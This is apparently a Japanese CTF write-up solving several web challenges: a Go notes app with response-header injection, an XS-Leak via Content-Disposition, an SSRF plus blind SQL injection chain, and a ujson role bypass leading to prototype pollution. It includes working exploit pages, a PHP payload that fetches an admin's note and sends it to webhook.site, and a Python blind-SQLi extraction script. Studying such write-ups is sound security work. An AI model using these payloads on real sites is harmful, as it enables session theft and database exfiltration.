/find では、以下のコードからわかるようになにかひとつ好きなHTTPレスポンスヘッダをGETパラメータから挿入できる。Set-Cookie を使えばCookieの設定もできる。

    } else {
        _, present := param["debug"]
        if present {
            delete(param, "debug")
            delete(param, "startsWith")
            delete(param, "endsWith")
            delete(param, "condition")

            for k, v := range param {
                for _, d := range v {

                    if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 50 {
                        w.Header().Set(k, d)
                    }
                    break
                }
                break
            }
        }
        responseee = "404 No Note Found"
    }

これを利用して、まずadminに /find?condition=hoge&debug=nyan&set-cookie=id=(XSSのペイロードをノートに仕込んだID)%3bpath=/get にアクセスさせ、/getXSSペイロード(<img src=x onerror="import('//example.com:8000/a.php')">)を返すようにする。これで / にアクセスするとXSSが発生し、//example.com:8000/a.php のJSコードが実行される。a.php は以下のような感じ。

<?php
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/javascript");
?>
document.cookie = 'id=; expires=Fri, 31 Dec 1999 23:59:59 GMT; path=/get';
fetch('/get').then(r => r.text()).then(r => {
  navigator.sendBeacon('https://webhook.site/…', r)
})

document.cookie = 'id=; expires=Fri, 31 Dec 1999 23:59:59 GMT; path=/get' によって今設定した /get 限定で有効だったCookieを削除し、それ以降のHTTPリクエストでは元のadminのCookieが送信されるようになる。したがって、この状態で /getfetch するとフラグが書かれたadminのノートが得られる。

この手順を実行するには /find?… から / に遷移させる必要があるが、X-Frame-OptionsDENY であるため iframe が使えない。そのため、以下のように window.open を使う。

<body>
<script>
id = '8666683506aacd900bbd5a74ac4edf68';
w = window.open(`http://chall.notepad1.gq:1111/find?condition=hoge&debug=nyan&set-cookie=id=${id}%3bpath=/get`);
setTimeout(() => {
  w.location.href = 'http://chall.notepad1.gq:1111/';
}, 2000);
</script>
</body>
inctf{youll_never_take_me_alive_ialmvwoawpwe}

[Web 900] Notepad 1.5 - Arthur's Article (? solves)

以下のように、HTTPレスポンスヘッダの値を ^[a-zA-Z0-9{}_;-]*$ にマッチしているかチェックされるよう変更が加えられた。

@@ -132,11 +135,11 @@
                        delete(param, "endsWith")
                        delete(param, "condition")

-                       for k, v := range param {
-                               for _, d := range v {
+                       for v, d := range param {
+                               for _, k := range d {

-                                       if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 50 {
-                                               w.Header().Set(k, d)
+                                       if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 5 {
+                                               w.Header().Set(v, k)
                                        }
                                        break
                                }

find は以下のように特定の文字列がノートの中に含まれているかどうかを確認できるAPIである。 condition というGETパラメータを操作することで特定の文字列から始まるか、あるいは特定の文字列から終わるか、特定の文字列から始まり特定の文字列で終わるかといった条件を切り替えることができる。指定した条件に当てはまらなかった場合に実行されるのが、先ほどのHTTPレスポンスヘッダにGETパラメータの値を挿入する処理である。

つまり、特定の文字列がノートに含まれていればあるHTTPレスポンスヘッダが付与されず、含まれていなければ付与されるというようなことができる。

func find(w http.ResponseWriter, r *http.Request) {

    id := getIDFromCooke(r, w)

    param := r.URL.Query()
    x := Notes[id]

    var which string
    str, err := param["condition"]
    if !err {
        which = "any"
    } else {
        which = str[0]
    }

    var start bool
    str, err = param["startsWith"]
    if !err {
        start = strings.HasPrefix(x, "arthur")
    } else {
        start = strings.HasPrefix(x, str[0])
    }
    var responseee string
    var end bool
    str, err = param["endsWith"]
    if !err {
        end = strings.HasSuffix(x, "morgan")
    } else {
        end = strings.HasSuffix(x, str[0])
    }

    if which == "starts" && start {
        responseee = x
    } else if which == "ends" && end {
        responseee = x
    } else if which == "both" && (start && end) {
        responseee = x
    } else if which == "any" && (start || end) {
        responseee = x
    } else {
        _, present := param["debug"]
        if present {
            delete(param, "debug")
            delete(param, "startsWith")
            delete(param, "endsWith")
            delete(param, "condition")

            for v, d := range param {
                for _, k := range d {

                    if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 5 {
                        w.Header().Set(v, k)
                    }
                    break
                }
                break
            }
        }
        responseee = "404 No Note Found"
    }
    headerSetter(w, cType)
    fmt.Fprintf(w, responseee)
}

X-Frame-OptionsDENY であるという制限下でなんとかしてこれをXS-Leakに使えないか悩んでいたが、s1r1usさんがContent-Disposition ヘッダがXS-Leakに使えることを教えてくれた。あとは実装するだけ。

<body>
<script>
async function test(s) {
  return new Promise((resolve) => {
    const url = `http://chall.notepad15.gq:1515/find?startsWith=${s}&debug=h&Content-Disposition=attachment`;
    const win = window.open(url);
    setTimeout(() => {
      try {
        win.location.href;
        resolve(false);
      } catch (e) {
        resolve(true);
      }
    }, 500);
  });
}

function report(s, t) {
  navigator.sendBeacon(`log.php?${s}:${t}`);
}

(async () => {
  const known = 'inctf{r'
  for (c of '{}_abcdefghijklmnopqrstuvwxyz0123456789') {
    report(c, await test(known + c));
  }
})()
</script>
</body>
inctf{red_dead_rezoday_ialmvwoawpwe}

次の2問は、競技時間中に解ききれなかったものの結構いいところまでいってた(はず)ので悔しかったやつ。

[Web 700] Vuln Drive (? solves)

ファイルのアップローダー。/return-files というファイルをダウンロードできるAPIパストラバーサルがあり、/return-files?f=/app/app.pyソースコードがダウンロードできる。

ソースコードを読むと /dev_test という謎のAPIが見つかる。URLを投げると requests でそのコンテンツを取ってきてくれるが、url_validate という関数でHTTPリクエストを送る前にURLがチェックされている。127.0.0.10.0.0.0 へのアクセスを防ぎたいようだ。

よく見るとURLのチェック後に url = unquote(url) となぜかURLデコードしてしまっている。これを使って http://localhost%2f%23def@example.comhttp://localhost のコンテンツが取得できる。

def url_validate(url):
    blacklist = ["::1", "::"]
    for i in blacklist:
        if(i in url):
            return "NO hacking this time ({- _ -})"
    y = urlparse(url)
    hostname = y.hostname
    try:
        ip = socket.gethostbyname(hostname)
    except:
        ip = ""
    print(url, hostname,ip)
    ips = ip.split('.')
    if ips[0] in ['127', '0']:
        return "NO hacking this time ({- _ -})"
    else:
        try:
            url = unquote(url)
            r = requests.get(url,allow_redirects = False)
            return r.text
        except:
            print(url, hostname)
            return "cannot get you url :)"

# …

@app.route("/dev_test",methods =["GET", "POST"])
def dev_test():
    if auth():
        return redirect('/logout')
    if request.method=="POST" and request.form.get("url")!="":
        url=request.form.get("url")
        return url_validate(url)
    return render_template("dev.html")

http://localhost は以下のようなコンテンツを返した。part1part2 というGETパラメータに特定の文字が含まれているかどうかチェックした後にSQL文に挿入し、MySQLにクエリを投げているようだ。

part1 についてはまた文字のチェックの後に urldecode でURLデコードしてしまっているため、' をURLエンコードすることでフィルターをバイパスしてSQLインジェクションでき、次の part2 が挿入されるSQL文を実行させることができる。

<?php
include('./conf.php');
$inp=$_GET['part1'];
$real_inp=$_GET['part2'];
if(preg_match('/[a-zA-Z]|\\\|\'|\"/i', $inp)) exit("Correct <!-- Not really -->");
if(preg_match('/\(|\)|\*|\\\|\/|\'|\;|\"|\-|\#/i', $real_inp)) exit("Are you me");
$inp=urldecode($inp);
//$query1=select name,path from adminfo;
$query2="SELECT * FROM accounts where id=1 and password='".$inp."'";
$query3="SELECT ".$real_inp.",name FROM accounts where name='tester'";
$check=mysqli_query($con,$query2);
if(!$_GET['part1'] && !$_GET['part2'])
{
    highlight_file(__file__);
    die();
}
if($check || !(strlen($_GET['part2'])<124))
{
    echo $query2."<br>";
    echo "Not this way<br>";
}
else
{
    $result=mysqli_query($con,$query3);
    $row=mysqli_fetch_assoc($result);
    if($row['name']==="tester")
        echo "Success";
    else
        echo "Not";
    //$err=mysqli_error($con);
    //echo $err;
}
?>

part2 は使われている文字をチェックした後にURLデコードされていないため、今度は真面目に ( ) * \ / ' ; " - # を使わずにSQLインジェクションする必要がある。

コメントアウトされている $query1=select name,path from adminfo; から、この adminfo というテーブルから情報を抜き出せばよいとわかる。返ってきた最初のレコードの name カラムの値が tester であれば Success と表示され、そうでなければ Not と表示されることを利用すればBlind SQLiの要領で adminfo のデータを抜き出せる。

import binascii
import uuid
import re
import requests
from urllib.parse import quote

URL = 'http://web.challenge.bi0s.in:6007/'
s = requests.Session()
def login():
  s.post(URL + 'login', data={
    'username': str(uuid.uuid4()),
    'password': str(uuid.uuid4()),
    'submit': 'Login'
  })
  s.get(URL)

def query(payload):
  while True:
    r = s.post(URL + 'dev_test', data={
      'url': 'http://localhost%2f%3fpart1=' + quote(quote(quote("'"))) + '%26part2=' + quote(payload) + '%23def@example.com'
    })
    if 'Success' in r.text or 'Not' in r.text:
      break
    login()
  return 'Success' in r.text

login()

table = list(b'/0123456789abcdefg')
known = ''

while True:
  for i, c in enumerate(table):
    tmp = known + chr(c)
    tmp = binascii.hexlify(tmp.encode()).decode()
    r = query(f"0x746573746572,1 from adminfo where path < 0x4e6f74 and path > binary 0x{tmp} union select 1")
    if not r:
      known += chr(table[i - 1])
      break
  else:
    print('?')
  print(known)

競技時間中はこのスクリプトpath を抜き出すところまでできた。


このカラムには /504acbe45cad25 のようなパスが入っているのだが、/return-files でそのパスのファイルを取得しようとしてもファイルが見つからないと表示されて困っていた。

上のスクリプトでは http://web.challenge.bi0s.in:6007 からパスを抜き出しているが、競技時間中の私はどういうわけかバックアップの問題サーバである http://web.challenge.bi0s.in:6006/return-files で抜き出したパスからファイルを抜き出そうとしており、サーバによってこのパスが異なるためにフラグが得られなかった。つらい。

[Web 804] Json Analyser (? solves)

まず次のAPIで有効なサブスクリプションコードを得る必要がある。role というGETパラメータが {"name":"user","role":"(role)"} というテンプレートに展開されてJSONとしてパースされるが、その useradminrolesuperuser でなければならない。

JSONのパースに使われているujsonは、重複したキーが出現した場合に後から出現した方をそのキーの値として採用する。superuser","name":"admin" というような role を入力すればよいのではないかと思ってしまうが、superuserrole に含まれていれば削除されるし、role は30文字を超えてはいけないし、パース前の文字列に "role":"superuser" という文字列が含まれてはいけないので通らない。

ではどうするかというと、\uXXXX という記法を使えばよい。/verify_roles?role=/u0073uperuser%22,%22name%22:%22admin673307-0496-1001122 というサブスクリプションコードが得られた。

import ujson

# …

@app.route('/verify_roles',methods=['GET','POST'])
def verify_roles():
    no_hecking=None
    role=request.args.get('role')
    if "superuser" in role:
        role=role.replace("superuser",'')
    if " " in role:
        return "n0 H3ck1ng"
    if len(role)>30:
        return "invalid role"
    data='"name":"user","role":"{0}"'.format(role)
    no_hecking=re.search(r'"role":"(.*?)"',data).group(1)
    if(no_hecking)==None:
        return "bad data :("
    if no_hecking == "superuser":
        return "n0 H3ck1ng"
    data='{'+data+'}'
    try:
        user_data=ujson.loads(data)
    except:
        return "bad format" 
    role=user_data['role']
    user=user_data['name']
    if (user == "admin" and role == "superuser"):
        return os.getenv('subscription_code')
    else:
        return "no subscription for you"

このサブスクリプションコードを使えば、以下のように package.json をアップロードすると config-handler という謎ライブラリを使ってその内容を表示してくれる。

app.post('/upload', function(req, res) {
    let uploadFile;
    let uploadPath;
    if(req.body.pin !== "[REDACTED]"){
        return res.send('bad pin')
    }
    if (!req.files || Object.keys(req.files).length === 0) {
      return res.status(400).send('No files were uploaded.');
    }
    uploadFile = req.files.uploadFile;
    uploadPath = __dirname + '/package.json' ;
    uploadFile.mv(uploadPath, function(err) {
        if (err)
            return res.status(500).send(err);
        try{
            var config = require('config-handler')();
        }
        catch(e){
            const src = "package1.json";
            const dest = "package.json";
            fs.copyFile(src, dest, (error) => {
                if (error) {
                    console.error(error);
                    return;
                }
                console.log("Copied Successfully!");
            });
            return res.sendFile(__dirname+'/static/error.html')
        }
        var output='\n';
        if(config['name']){
            output=output+'Package name is:'+config['name']+'\n\n';
        }
        if(config['version']){
            output=output+ "version is :"+ config['version']+'\n\n'
        }
        if(config['author']){
            output=output+"Author of package:"+config['author']+'\n\n'
        }
        if(config['license']){
            var link=''
            if(config['license']==='ISC'){
                link='https://opensource.org/licenses/ISC'+'\n\n'
            }
            if(config['license']==='MIT'){
                link='https://www.opensource.org/licenses/mit-license.php'+'\n\n'
            }
            if(config['license']==='Apache-2.0'){
                link='https://opensource.org/licenses/apache2.0.php'+'\n\n'
            }
            if(link==''){
                var link='https://opensource.org/licenses/'+'\n\n'
            }
            output=output+'license :'+config['license']+'\n\n'+'find more details here :'+link;
        }
        if(config['dependencies']){
            output=output+"following dependencies are thier corresponding versions are used:" +'\n\n'+'     '+JSON.stringify(config['dependencies'])+'\n'
        }

        const src = "package1.json";
        const dest = "package.json";
        fs.copyFile(src, dest, (error) => {
            if (error) {
                console.error(error);
                return;
            }
        });
        res.render('index.squirrelly', {'output':output})
    });
});

ここでPrototype Pollutionができる。


Prototype PollutionからRCEに持ち込めるのではないかと考えてs1r1usさんとSquirrellyのscript gadgetを探していたが、結局見つけられなかった。実は既知のネタだったらしいし、終了後にTea DeliverersのZeddyさんにも聞いたところやはりこのgadgetを使ったらしかった。